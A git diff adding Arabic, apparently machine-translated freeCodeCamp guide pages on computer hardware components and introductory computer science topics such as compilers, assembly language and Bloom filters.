+وحدة المعالجة المركزية (CPU) هي عبارة عن دائرة إلكترونية داخل الكمبيوتر تقوم بتنفيذ تعليمات برنامج كمبيوتر عن طريق إجراء العمليات الحسابية والمنطقية والتحكمية والإدخال / الإخراج (I / O) المحددة بواسطة الإرشادات.
+
+![انتل كور i7](http://ecx.images-amazon.com/images/I/51MOTjmtg2L.jpg)
+
+### بطاقات التوسع (على سبيل المثال GPU)
+
+وحدة معالجة الرسومات (GPU) عبارة عن دائرة إلكترونية متخصصة مصممة للتلاعب بسرعة وتعديل الذاكرة لتسريع إنشاء الصور في مخزن مؤقت للإطار مخصص للإخراج إلى جهاز العرض.
+
+![نفيديا تيتان XP](https://cdn.arstechnica.net/wp-content/uploads/2017/04/nvidia-titan-x.jpg)
+
+### التخزين (SSD أو HDD)
+
+يتم استخدام محرك الأقراص الثابت (SSD) أو محرك الأقراص الثابتة (HDD) لتخزين المعلومات على الكمبيوتر. فإنه يحتفظ الذاكرة حتى بعد فقدان الطاقة.
+
+![SSD](https://images10.newegg.com/NeweggImage/ProductImage/20-147-373-09.jpg)
+
+### ذاكرة رام)
+
+ذاكرة الوصول العشوائي (RAM) هي أحد أنواع تخزين بيانات الكمبيوتر التي تخزن البيانات ورمز الآلة المستخدمة حاليًا. يتيح جهاز ذاكرة الوصول العشوائي قراءة عناصر البيانات أو كتابتها في نفس الوقت تقريبًا بغض النظر عن الموقع الفعلي للبيانات داخل الذاكرة.
+
+![الرامات "الذاكرة العشوائية في الهواتف والحواسيب](https://images10.newegg.com/NeweggImage/ProductImage/20-232-476-S01.jpg)
+
+### قضية
+
+يتم استخدام حالة لاستضافة كافة مكونات جهاز الكمبيوتر.
+
+![قضية](https://images-na.ssl-images-amazon.com/images/I/41Wq97Jk20L._SL500_AC_SS350_.jpg)
+
+### مزود الطاقة
+
+مصدر الطاقة هو جهاز إلكتروني يوفر الطاقة الكهربائية لحمل كهربائي.
+
+![مزود الطاقة](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/SFX_PC-PSU_Delta_IMG_9760.JPG/620px-SFX_PC-PSU_Delta_IMG_9760.JPG)
+
+### اللوحة الأم
+
+تحمل اللوحة الأم وتسمح بالاتصال بين العديد من المكونات الإلكترونية الحيوية في النظام ، مثل وحدة المعالجة المركزية (CPU) والذاكرة ، وتوفر موصلات للأجهزة الطرفية الأخرى.
+
+![اللوحة الأم](https://fthmb.tqn.com/mmTUdCN6UBGIKlkEggGq4fpV-3k=/768x0/filters:no_upscale()/gig-57c732ed3df78c71b60e7aa5.jpg)
+
+### أجهزة الإدخال والإخراج (مثل لوحة المفاتيح والماوس)
+
+جهاز الإدخال / الإخراج هو أي جهاز يستخدمه مشغل بشري أو أنظمة أخرى للتواصل مع جهاز الكمبيوتر.
+
+![أجهزة الإدخال والإخراج](https://www.clasohlson.com/medias/sys_master/9225929949214.jpg)
+
+### مراقب
+
+شاشة الكمبيوتر عبارة عن جهاز إخراج يعرض معلومات في شكل صور.
+
+![مراقب](https://assets.pcmag.com/media/images/523934-dell-ultrasharp-34-curved-monitor-u3417w.jpg?thumb=y)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/motherboard/index.md b/client/src/guide/arabic/computer-hardware/motherboard/index.md
new file mode 100644
index 0000000000..b68887dd84
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/motherboard/index.md
@@ -0,0 +1,32 @@
+Types of Motherboards. Motherboards come in different sizes, known as form factors. The most common motherboard form factor is ATX. The different types of ATX are known as micro-ATX (sometimes shown as µATX, mini-ATX, FlexATX, EATX, WATX, nano-ATX, pico-ATX, and mobileATX).localeTitle: اللوحة الأم
+---
+## العنوان: اللوحة الأم
+
+## اللوحة الأم
+
+اللوحة الأم هي طبقة الاتصال التي تسمح لمكونات الكمبيوتر بالتفاعل مع بعضها البعض. تحتوي اللوحة الأم عادة على وصلات لذاكرة الوصول العشوائي (RAM) ، ومحرك أقراص صلبة ، ووحدة معالجة الرسومات (GPU) ، ووحدة معالجة مركزية (CPU). في أجهزة سطح المكتب ، اللوحة الأم هي لوحة مادية تتصل بها جميع هذه المكونات. ومع ذلك ، في أجهزة الكمبيوتر المحمولة ، عادة ما تكون اللوحة الأم مدمجة في بعض هذه المكونات بسبب القيود المفروضة على مساحة أجهزة الكمبيوتر المحمولة.
+
+توفر اللوحة الأم الطاقة والاتصال لمكونات الكمبيوتر ، وتعمل بمثابة لوحة التبديل لكافة الاتصالات بين المكونات. إذا احتاجت وحدة المعالجة المركزية لمعالجة المعلومات المخزنة في ذاكرة الوصول العشوائي ، على سبيل المثال ، فإن اللوحة الأم توفر اتصالاً بين وحدة المعالجة المركزية وذاكرة الوصول العشوائي ، تسمى ناقل الذاكرة ، للسماح بالوصول إلى البيانات. تشتمل اللوحة الأم على حافلات لبطاقات التوسعة (بما في ذلك GPU) وذاكرة الوصول العشوائي (RAM) ومحركات الأقراص الثابتة.
+
+أهم الشركات المصنعة للوحات الأم هي INTEL و ASUS و ACER و GIGABYTE و IBM و SIMMTRONICS وغيرها الكثير.
+
+## أجزاء من اللوحة الأم
+
+إذا كنت ستقوم بفتح جهاز الكمبيوتر الخاص بك وإخراج اللوحة الأم ، فستحصل على بعض الخلط بين جميع الأجزاء المختلفة. اعتمادًا على طريقة عمل الكمبيوتر وطرازه ، قد يبدو الأمر كهذا. لفهم كيفية عمل أجهزة الكمبيوتر ، لا تحتاج إلى معرفة كل جزء من اللوحة الأم. ومع ذلك ، من الجيد معرفة بعض الأجزاء الأكثر أهمية وكيفية توصيل اللوحة الأم بأجزاء مختلفة من نظام الكمبيوتر معًا. فيما يلي بعض الأجزاء النموذجية:
+
+*   مقبس وحدة المعالجة المركزية (CPU) - يتم لحام وحدة المعالجة المركزية مباشرة على المقبس. نظرًا لأن وحدات المعالجة المركزية عالية السرعة تولد الكثير من الحرارة ، فهناك أحواض حرارة ونقاط تثبيت للمراوح بجوار مقبس وحدة المعالجة المركزية. ضع في اعتبارك أن وحدات المعالجة المركزية (CPUs) تدعم فقط نوع مأخذ توصيل منفرد بحيث تتطابق مع مقبس اللوحة الأم للعمل. عادةً ما تتغير أنواع المقبس كل بضعة أجيال ، كما تختلف أيضًا حسب التسمية (وحدات المعالجة المركزية (CPUs) للمستهلكين ، HEDT ، وحدات المعالجة المركزية للخوادم)
+*   موصل الطاقة لتوزيع الطاقة على وحدة المعالجة المركزية والمكونات الأخرى.
+*   فتحات الذاكرة الرئيسية للنظام ، وعادة في شكل رقائق DRAM.
+*   تشكل رقاقة واجهة بين وحدة المعالجة المركزية والذاكرة الرئيسية والمكونات الأخرى. في العديد من أنواع اللوحات الأم ، يشار إلى Northbridge. تحتوي هذه الشريحة أيضًا على بالوعة حرارية كبيرة. في السنوات الأخيرة ، تم دمج ميزات Northbridge بشكل متزايد في وحدة المعالجة المركزية نفسها.
+*   تتحكم الشريحة الثانية في وظائف الإدخال والإخراج (I / O). وهي غير متصلة مباشرة بوحدة المعالجة المركزية ولكن في Northbridge. يشار إلى وحدة تحكم الإدخال / الإخراج باسم Southbridge. يشار إلى Northbridge و Southbridge مجتمعين باسم chipset.
+*   عدة موصلات ، والتي توفر واجهة مادية بين المدخلات والمخرجات والأجهزة واللوحة الأم. يعالج Southbridge هذه الاتصالات.
+*   فتحات لواحد أو أكثر من محركات الأقراص الصلبة لتخزين الملفات. أكثر أنواع الاتصالات شيوعًا هي Integrated Drive Electronics (IDE) و Serial Advanced Technology Technology Attachment (SATA).
+*   رقاقة ذاكرة للقراءة فقط (ROM) ، تحتوي على البرنامج الثابت ، أو إرشادات بدء التشغيل لنظام الكمبيوتر. وهذا ما يسمى أيضا BIOS.
+*   فتحة لبطاقة فيديو أو بطاقة رسومية. هناك عدد من الأنواع المختلفة من الفتحات ، بما في ذلك منفذ الرسومات المسرّعة (AGP) و Peripheral Component Interconnect Express (PCIe). فتحات إضافية لتوصيل الأجهزة في شكل فتحات التوصيل البيني للمكونات الطرفية (PCI).
+
+#### معلومات اكثر:
+
+*   [اللوحة الأم](https://www.computerhope.com/jargon/m/mothboar.htm)
+*   [الرقاقات (ويكيبيديا)](https://en.wikipedia.org/wiki/Chipset)
+
+أنواع اللوحات. تأتي اللوحات الأم بأحجام مختلفة ، تُعرف باسم عوامل الشكل. عامل الشكل الأكثر شيوعًا هو ATX. تُعرف الأنواع المختلفة من ATX باسم ATX الصغير (يظهر أحيانًا على هيئة µATX و mini-ATX و FlexATX و EATX و WATX و nano-ATX و pico-ATX و mobileATX).
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/power-supply/index.md b/client/src/guide/arabic/computer-hardware/power-supply/index.md
new file mode 100644
index 0000000000..b2bb3c2824
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/power-supply/index.md
@@ -0,0 +1,13 @@
+---
+title: Power Supply
+localeTitle: مزود الطاقة
+---
+## مزود الطاقة
+
+توفر وحدة تزويد الطاقة (PSU) الطاقة للكمبيوتر. إنه يحول طاقة التيار المتردد إلى طاقة DC ثابتة منخفضة الجهد للمكونات الداخلية.
+
+عادةً ما تكون PSU غير مستخدم للخدمة. للحفاظ على سلامتك ، من الحكمة عدم فتح وحدة تزويد الطاقة مطلقًا.
+
+#### معلومات اكثر:
+
+*   [مزود الطاقة](https://en.wikipedia.org/wiki/Power_supply_unit_(computer))
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/ram/index.md b/client/src/guide/arabic/computer-hardware/ram/index.md
new file mode 100644
index 0000000000..091197c591
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/ram/index.md
@@ -0,0 +1,29 @@
+---
+title: RAM
+localeTitle: الرامات "الذاكرة العشوائية في الهواتف والحواسيب
+---
+## الرامات "الذاكرة العشوائية في الهواتف والحواسيب
+
+يقف RAM على ذاكرة الوصول العشوائي ، ويشار إليه بدلاً من ذلك **بالذاكرة** **الرئيسية** ، أو **الذاكرة الأساسية** ، أو **ذاكرة النظام** . هو عبارة عن قطعة من أجهزة الكمبيوتر حيث يتم تخزين البيانات التي تعمل على الكمبيوتر الخاص بك حاليا.  
+على عكس محركات الأقراص الصلبة ، ذاكرة الوصول العشوائي هي ذاكرة متقلبة وتتطلب الطاقة للحفاظ على البيانات في متناول اليد. إذا تم إيقاف تشغيل الكمبيوتر ، يتم فقدان كافة البيانات الموجودة في ذاكرة الوصول العشوائي. يخلط المستخدمون الجدد في كثير من الأحيان ذاكرة الوصول العشوائي مع مساحة محرك الأقراص. انظر تعريف [الذاكرة](https://www.computerhope.com/jargon/m/memory.htm) للمقارنة بين الذاكرة والتخزين.  
+
+#### أنواع ذاكرة الوصول العشوائي:
+
+هناك نوعان رئيسيان من ذاكرة الوصول العشوائي: ثابت (SRAM) وديناميكية (DRAM). يتم إنشاء ذاكرة الوصول العشوائي الثابتة باستخدام flip-flops ، وهو سريع جدًا ، ولكن يصعب تحقيقه بأحجام كبيرة. تم تصميم Dyanmic RAM باستخدام المكثفات ، وهو سريع إلى حد ما ، ولكنه يحتاج إلى "تحديث" دوريًا للحفاظ على الشحن على المكثفات. غالبا ما يستخدم SRAM أقرب إلى وحدة المعالجة المركزية بسبب سرعته وقيود المساحة في حين يتم استخدام DRAM كذاكرة رئيسية.
+
+بعض الأمثلة على ذاكرة الوصول العشوائي التعبئة هي: DIMM ، RIMM ، SIMM ، SO-DIMM ، و SOO-RIMM. فيما يلي مثال على صورة لوحدة ذاكرة كمبيوتر DIMM سعة 512 ميجابايت ، وهي ذاكرة RAM نموذجية موجودة في أجهزة الكمبيوتر المكتبية. سيتم تثبيت وحدة الذاكرة هذه في واحدة من فتحات الذاكرة على اللوحة الأم.
+
+![الرامات "الذاكرة العشوائية في الهواتف والحواسيب](https://images-na.ssl-images-amazon.com/images/I/41kVnWQebtL._SL256_.jpg)
+
+#### سرعات ذاكرة الوصول العشوائي:
+
+إن تقييم سرعة وحدة ذاكرة الوصول العشوائي (RAM) الخاصة بك هو تعبير عن معدل نقل البيانات الخاص به ، ويتم التعبير عنه دائمًا بالميغاهيرتز (ميجاهرتز). كلما كان الرقم أسرع ، كلما كان الكمبيوتر أسرع في تخزين واسترجاع البيانات المخزنة في الذاكرة المحلية. تتغير صيغة تقييم السرعة الدقيقة قليلاً بناءً على إصدار ذاكرة DDR التي يستخدمها جهاز الكمبيوتر الخاص بك. لم يعد الأمر مجرد تعبير عن سرعة الساعة ، مثل المعالج ، ولكنه مزيج من العوامل المادية. لكن بشكل عام ، أسرع هو أفضل. مثل GPU ووحدة المعالجة المركزية ، يمكن أيضا أن تكون ذاكرة الوصول العشوائي فيركلوكيد. لتحقيق سرعة أكبر ، يجب على المستخدم تمكين ملف تعريف XMP (Intel) أو AMP (AMD) في BIOS. المعيار الذي يملي السرعة القصوى لذاكرة الوصول العشوائي في معظم الحواسيب هو DDR3 ، والذي لا يزال يعتمد على نطاق واسع ويدعم حد 2133Mhz. تم إصدار معيار جديد ، DDR4 ، في السنوات الأخيرة ، ويعد بمجموعة أوسع من سرعات الساعة وتقليل استهلاك الطاقة ووقت الاستجابة.
+
+#### معلومات اكثر:
+
+*   [ذاكرة الوصول العشوائي](http://www.webopedia.com/TERM/R/RAM.html) .
+*   [ذاكرة الوصول العشوائي الثابتة](https://en.wikipedia.org/wiki/Static_random-access_memory)
+*   [ذاكرة الوصول العشوائي الديناميكية](https://en.wikipedia.org/wiki/Dynamic_random-access_memory)
+*   [أنواع ذاكرة الوصول العشوائي](http://www.computermemoryupgrade.net/types-of-computer-memory-common-uses.html) .
+*   [دليل المشتري المحمول الذاكرة](https://www.lifewire.com/laptop-memory-buyers-guide-833024)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Random-access_memory) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/rom/index.md b/client/src/guide/arabic/computer-hardware/rom/index.md
new file mode 100644
index 0000000000..40ce5b7bc3
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/rom/index.md
@@ -0,0 +1,11 @@
+---
+title: ROM
+localeTitle: غرفة
+---
+## اقرأ الذاكرة فقط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-hardware/rom/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/assembly-language/index.md b/client/src/guide/arabic/computer-science/assembly-language/index.md
new file mode 100644
index 0000000000..cdb2f26d8f
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/assembly-language/index.md
@@ -0,0 +1,21 @@
+---
+title: Assembly Language
+localeTitle: لغة التجميع
+---
+## لغة التجميع
+
+لغة التجميع هي الواجهة بين لغات المستوى الأعلى (C ++ ، Java ، الخ) ورمز الآلة (ثنائي). بالنسبة للغة المترجمة ، يقوم المحول البرمجي بتحويل الشفرة ذات المستوى الأعلى إلى شفرة لغة التجميع.
+
+تحدد كل عائلة من وحدات المعالجة المركزية (Controls) مجموعة تعليمات Instruction Set (ISA) الخاصة بها ، وهي مجموعة من الإرشادات الأساسية التي يمكن أن تقوم بها وحدة المعالجة المركزية دون الحاجة إلى المزيد من الترجمة أو التحويل. يقوم المجمع بتحليل التعليمات المركبة ذات المستوى الأعلى إلى العمليات المتاحة في ISA. بعض ISAS الأكثر شيوعا في الاستخدام اليوم تشمل MIPS ، ARM ، Intel x86 ، RISC-V.
+
+يقوم المجمع بتفكيك تعليمات التجميع في تمثيلهم الثنائي الخاص بهم واستبدال العناوين العامة لرمز التجميع مع التسجيل الصريح وعناوين الذاكرة للكمبيوتر الخاص بك.
+
+يمكن كتابة التعليمات البرمجية التي يكون فيها وقت التنفيذ والتحكم أمرًا أساسيًا في المجمّع مباشرةً. ومع ذلك ، يأتي ذلك على حساب إطالة وقت التطوير ، وجعل التنمية أكثر صعوبة. وتجدر الإشارة أيضا إلى أنه كان هناك قدر كبير من البحث في جعل compilers تحسين الرمز الذي يتم إنشاؤه تلقائيا.
+
+تستخدم لغة التجميع بشكل أساسي في الحالات التالية:
+
+*   هناك حاجة لاستخدام تعليمات وحدة المعالجة المركزية غير متوفرة في اللغات عالية المستوى.
+*   لا توجد لغة عالية المستوى لبرمجة أنواع معينة من المعالجات.
+*   تنفيذ مترجم لغة أعلى مستوى على ISA الجديد. ![صورة مستويات الكود](https://raw.githubusercontent.com/colbybanbury/assemblyPicture/master/Screenshot%20from%202017-10-14%2014-03-06.png)
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/compiled-versus-interpreted-languages/index.md b/client/src/guide/arabic/computer-science/compiled-versus-interpreted-languages/index.md
new file mode 100644
index 0000000000..7f9b6cf23c
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/compiled-versus-interpreted-languages/index.md
@@ -0,0 +1,68 @@
+---
+title: Compiled Versus Interpreted Languages
+localeTitle: جمعت مقابل Interpreted اللغات
+---
+## جمعت مقابل Interpreted اللغات
+
+كل برنامج عبارة عن مجموعة من التعليمات ، سواء كانت لإضافة رقمين أو إرسال طلب عبر الإنترنت. يقوم المترجمون والمترجمون الشفويون بأخذ كود يمكن قراءته وتحويله إلى كود آلة قابل للقراءة من الكمبيوتر. في لغة مترجمة ، يقوم الجهاز المستهدف بترجمة البرنامج مباشرة. في لغة مفسرة ، لا يتم ترجمة التعليمات البرمجية المصدر مباشرة بواسطة الجهاز الهدف. بدلاً من ذلك ، يقوم برنامج _مختلف_ ، ويعرف أيضًا باسم المترجم ، بقراءة التعليمات البرمجية وتنفيذها.
+
+### حسنا ... لكن ماذا يعني ذلك في _الواقع_ ؟
+
+لذا دعنا نقول أن لديك وصفة حمص تريد أن تصنعها ، لكنها باللغة اليونانية القديمة. هناك طريقتان يمكنك من خلالها ، كمتحدث غير اليوناني القديم ، اتباع اتجاهاته.
+
+الأول هو إذا قام شخص ما بترجمتها إلى الإنجليزية لك بالفعل. يمكنك (وأي شخص آخر يمكن أن يتكلم اللغة الإنجليزية) الحصول على النسخة الإنجليزية وجعل الحمص. هذه هي النسخة المترجمة.
+
+والثاني هو إذا كان لديك صديق يعرف اليونانية القديمة. يمكن أن يجلس صديقك إلى جانبك ويترجم اليونانية القديمة إلى الإنجليزية ، خطًا تلو الآخر ، كما تذهب. في هذه الحالة ، صديقك هو المترجم. هذه هي النسخة المفسرة.
+
+### لغات مترجمة
+
+يتم تحويل اللغات المترجمة مباشرة إلى رمز الجهاز الذي يمكن للمعالج تنفيذه. ونتيجة لذلك ، فإنها تميل إلى أن تكون أسرع وأكثر فعالية في التنفيذ من اللغات المفسرة. كما أنها تمنح المطور مزيدًا من التحكم في جوانب الأجهزة ، مثل إدارة الذاكرة واستخدام وحدة المعالجة المركزية.
+
+تحتاج اللغات المجمعة إلى خطوة "بناء" - يجب أن يتم تجميعها يدويًا أولاً. تحتاج إلى "إعادة" البرنامج في كل مرة تحتاج فيها إلى إجراء تغيير. في مثال الحمص لدينا ، تتم كتابة الترجمة بأكملها قبل أن تصل إليك. إذا قرر المؤلف الأصلي أنه يريد استخدام نوع مختلف من زيت الزيتون ، فستحتاج إلى إعادة ترجمة الوصفة بأكملها ثم إرسالها إليك.
+
+أمثلة على اللغات المجمعة النقية هي C و C ++ و Erlang و Haskell و Rust و Go.
+
+### لغات مترجمة
+
+سيتم تشغيل المترجمين عبر سطر برنامج بواسطة سطر وتنفيذ كل أمر. الآن ، إذا قرر المؤلف أنه يريد استخدام نوع مختلف من زيت الزيتون ، يمكنه خدش الزيت القديم وإضافة الجديد. يمكن لصديقك المترجم أن ينقل هذا التغيير إليك فور حدوثه.
+
+من المعروف أن اللغات التي تم تفسيرها كانت أبطأ بشكل ملحوظ من اللغات التي تم جمعها. ولكن مع تطور [التجميع في الوقت المناسب](https://guide.freecodecamp.org/computer-science/just-in-time-compilation) ، فإن هذه الفجوة آخذة في التقلص.
+
+أمثلة على اللغات المفسرة الشائعة هي PHP و Ruby و Python و JavaScript.
+
+### تحدي صغير
+
+يمكن أن تحتوي معظم لغات البرمجة على تطبيقات مجمّعة ومفسرة. اللغة نفسها ليست بالضرورة تجميع أو تفسير. ومع ذلك ، من أجل التبسيط ، يشار إليهم على هذا النحو.
+
+بالمعنى الدقيق للكلمة ، فإن المصطلحات التي تُفسر اللغة واللغة المجمعة ليست محددة بشكل جيد لأنه نظريا ، يمكن تفسير أي لغة برمجة أو تجميعها. في تطبيق لغة البرمجة الحديثة ، تزداد شعبية لمنصة لتوفير كلا الخيارين. على سبيل المثال ، يمكن تنفيذ Python إما كبرنامج مترجم ، أو كلغة مفسرة في الوضع التفاعلي.
+
+**يمكن تصنيف معظم أدوات سطر الأوامر و CLIs و shell من الناحية النظرية على أنها لغات تفسيرية.**
+
+### المميزات والعيوب
+
+#### مزايا اللغات المجمعة
+
+عادةً ما تكون البرامج التي تم تجميعها في تعليمة برمجية أصلية في وقت التحويل البرمجي أسرع من تلك التي تمت ترجمتها في وقت التشغيل ، نظرًا لتكاليف عملية الترجمة.
+
+#### مساوئ اللغات المجمعة
+
+أهم عيوبه هي: -
+
+*   الوقت الإضافي المطلوب لإكمال خطوة التحويل البرمجي بالكامل قبل الاختبار ، و
+*   اعتماد المنصة على الكود الثنائي الذي تم إنشاؤه.
+
+#### مزايا اللغات المفسرة
+
+توفر لغة Interpreted بعض المرونة الإضافية عبر تطبيقات compiled. لأن المترجمين الشفويين يقومون بتنفيذ شفرة البرنامج المصدر بأنفسهم ، فإن الكود نفسه هو نظام أساسي مستقل (رمز بايت Java ، على سبيل المثال). تتضمن الميزات الأخرى الكتابة الديناميكية وحجم برنامج أصغر قابل للتنفيذ.
+
+#### مساوئ اللغات التفسيرية
+
+العيب الأكثر بروزا هو سرعة التنفيذ النموذجي مقارنة مع اللغات المترجمة.
+
+#### معلومات اكثر:
+
+[ويكيبيديا - اللغة المجمعة](https://en.wikipedia.org/wiki/Compiled_language)
+
+[ويكيبيديا - لغة مترجمة](https://en.wikipedia.org/wiki/Interpreted_language)
+
+[مقالة programmerinterview.com - ما الفرق بين لغة مترجمة ومفسرة؟](http://www.programmerinterview.com/index.php/general-miscellaneous/whats-the-difference-between-a-compiled-and-an-interpreted-language/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/compilers/index.md b/client/src/guide/arabic/computer-science/compilers/index.md
new file mode 100644
index 0000000000..65404f0451
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/compilers/index.md
@@ -0,0 +1,66 @@
+---
+title: Compilers
+localeTitle: المجمعين
+---
+## المجمعين
+
+### برمجة
+
+في قلبها ، جهاز الكمبيوتر المجردة (المعروف أيضا باسم جهاز كمبيوتر مخزن) ليس سوى آلة تعرف كيفية قراءة الخطوات المكتوبة في مجموعة تعليمات ثابتة وتنفيذها. إن مجموعة الإرشادات التي يفهمها الكمبيوتر خاصة به. هذا هو المعروف باسم لغة الآلة ( **opcodes** ). غالبًا ما تتم الإشارة إلى لغة الماكينة باسم "الرمز الثنائي".
+
+يتفاعل البشر مع أجهزة الكمبيوتر باستخدام **البرامج** . البرنامج هو ببساطة سلسلة من رموز التشغيل المتوفرة للكمبيوتر بالإضافة إلى البيانات الضرورية لتنفيذ رموز التشغيل.
+
+فمثلا،
+
+ `ADD 10, 20  // ADD is the Opcode 
+            // and 10, 20 are the two operands(data) 
+            // needed for the ADD instruction to be executed successfully 
+` 
+
+يطور البشر برامج لحل المشكلات المعقدة. بالنظر إلى كيفية عمل رموز التشغيل البسيطة ، إذا حاولنا تطوير برامج باستخدام opcodes وحده ، فسيكون ذلك مرهقًا للغاية ويصعب تصحيحه. لحل هذه المشكلة ، تم تطوير لغات عالية المستوى مثل C / C ++ و Python و Java و Javascript وغيرها.
+
+الآن ، لا تعد اللغات عالية المستوى مناسبة للتنفيذ بواسطة أجهزة الكمبيوتر. وبالتالي ، نشأت الحاجة إلى مترجم يمكنه استيعاب البرامج اللغوية عالية المستوى وتحويلها إلى تعليمات لغة الآلة المناسبة للتنفيذ بواسطة الكمبيوتر.
+
+#### \[HUMANS\] -> \[برامج اللغة ذات المستوى المرتفع\] -> \[Translator\] -> \[Machine Machine\] -> \[Computer\]
+
+**المحول البرمجي** هو نوع من برامج الترجمة ، التي تترجم اللغات عالية المستوى إلى شفرة ثنائية ، والتي لا تعد سوى 1s و 0 s. عندما تقوم بتشغيل شفرتك المصدرية ، يترجم المحول البرمجي جميع الشفرات أولاً ، ثم ينتج الرمز الثنائي. ثم يأخذ الكمبيوتر الرمز الثنائي ويديرها.
+
+إذا كانت هناك أخطاء في شفرة المصدر ، يكتشف المحول البرمجي ويرصدها. هذا يتوقف على عملية التحويل البرمجي. بمجرد إصلاح كل الأخطاء ، يقوم المحول البرمجي بتحويل الشفرة ويقوم بإنشاء برنامج قابل للتنفيذ.
+
+## أجزاء من المجمع
+
+ينقسم معظم المترجمين إلى ثلاث مراحل أساسية: التحليل ، التحويل ، وتوليد الكود
+
+1.  يأخذ _التحليل_ رمزًا أوليًا وتحويله إلى تمثيل أكثر تجريدًا للرمز.
+2.  يأخذ _التحول_ هذا التمثيل المجرد ويتلاعب بالقيام بكل ما يريده المجمع.
+3.  يأخذ _Code Generation_ التمثيل المحوّل للرمز ويحوله إلى كود جديد.
+
+#### توزيع
+
+عادة ما يتم تحليل التحليل إلى مرحلتين: **التحليل المعجمى والتحليل** **النحوى** .
+
+يأخذ _Lexical Analysis_ الشفرة الأولية وينقسمها إلى هذه الأشياء التي يطلق عليها الرموز المميزة بشيء يسمى tokenizer (أو lexer).
+
+ `Tokens are an array of tiny little objects that describe an isolated piece of the syntax. 
+ They could be numbers, labels, punctuation, operators, etc. 
+` 
+
+يأخذ _التحليل النحوي_ الرموز المميزة ويعيد تنسيقها إلى تمثيل يصف كل جزء من البنية وعلاقتهم مع بعضهم البعض. يُعرف هذا بالتمثيل الوسيط أو شجرة الجملة المجردة.
+
+ `An Abstract Syntax Tree, or AST for short, is a deeply nested object. 
+ It represents code in a way that is both easy to work with and tells us a lot of information. 
+` 
+
+#### تحويل
+
+النوع التالي من المرحلة لمجمع هو التحويل. مرة أخرى ، هذا يأخذ AST من الخطوة الأخيرة ويقوم بإجراء تغييرات عليه. يمكنه التعامل مع AST بنفس اللغة أو يمكنه ترجمتها إلى لغة جديدة تمامًا.
+
+#### رمز الجيل
+
+المرحلة النهائية من المترجم هو توليد التعليمات البرمجية. في بعض الأحيان ، يقوم المتعهدون بأشياء تتداخل مع التحويل ، ولكن في معظم الأحيان ، يستغرق إنشاء الكود AST ويحوّلها إلى شفرة ثنائية.
+
+جميع compilers بحاجة إلى تنفيذ هذه الخطوات. كما يقوم معظم المترجمين الحديثين بتنفيذ خطوات أخرى مثل التحقق من أخطاء الكتابة وتحسين الشفرة المترجمة الناتجة.
+
+#### معلومات اكثر:
+
+[ويغطي مات أديتانيا "مقدمة ألطف في البرمجة"](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8) المترجمين مقابل المترجمين الفوريين ، إلى جانب مفاهيم البرمجة الأساسية الأخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-mining/index.md b/client/src/guide/arabic/computer-science/data-mining/index.md
new file mode 100644
index 0000000000..e817eb9e46
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-mining/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Mining
+localeTitle: بيانات التعدين
+---
+## بيانات التعدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/databases/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-science/data-structures/bloom-filter/index.md b/client/src/guide/arabic/computer-science/data-structures/bloom-filter/index.md
new file mode 100644
index 0000000000..178a926743
--- /dev/null
+++ b/client/src/guide/arabic/computer-science/data-structures/bloom-filter/index.md
@@ -0,0 +1,39 @@
+---
+title: Bloom Filter
+localeTitle: مرشح بلوم
+---
+## وصف
+
+مرشح بلوم هو هيكل البيانات الذي يشبه مجموعة. مرشح بلوم يسمح للسؤال _هل هذا البند عضو في المجموعة؟_ ليتم الرد عليها بسرعة. لن يقوم الفلتر بإرجاع _No_ إذا كان العنصر في المجموعة؛ ولكن ، قد ترجع _نعم_ إذا كان العنصر غير موجود في المجموعة. هذا هو جانب واحد لاستخدام مرشح بلوم ، هناك فرصة للنتائج الإيجابية الكاذبة عند التحقق مما إذا كان العنصر في المجموعة. الاتجاه الصعودي لاستخدام مرشح بلوم هو أن إضافة عنصر إلى المجموعة والتحقق مما إذا كان العنصر في المجموعة هو عملية [O (n)](https://guide.freecodecamp.org/algorithms/algorithm-performance) ثابتة.
+
+## مثال
+
+يستخدم المثال التالي مرشح Bloom لإنشاء قائمة أصدقاء. يستخدم تطبيق المثال ثلاث [وظائف التجزئة](https://guide.freecodecamp.org/miscellaneous/hash-tables-and-hashing-functions) . تقوم وظائف التجزئة بدمج سلسلة (اسم صديق) وتحسب قيمة مفردة للسلسلة بناءً على عدد البقع في مرشح Bloom.
+
+إنشاء فلتر كصفيف من 10 مؤشرات. يشير `0` إلى عدم وجود عنصر في هذا الفهرس.
+
+`[0,0,0,0,0,0,0,0,0,0]`
+
+يضيف المستخدم ديفيد إلى قائمة الأصدقاء. يتم وضع السلسلة ( `'David'` ) عبر العديد من وظائف التجزئة التي ترجع `0` و `4` و `8` على التوالي. يتم استخدام القيم من وظائف التجزئة لتحديث مصفوفة المرشح في تلك المؤشرات.
+
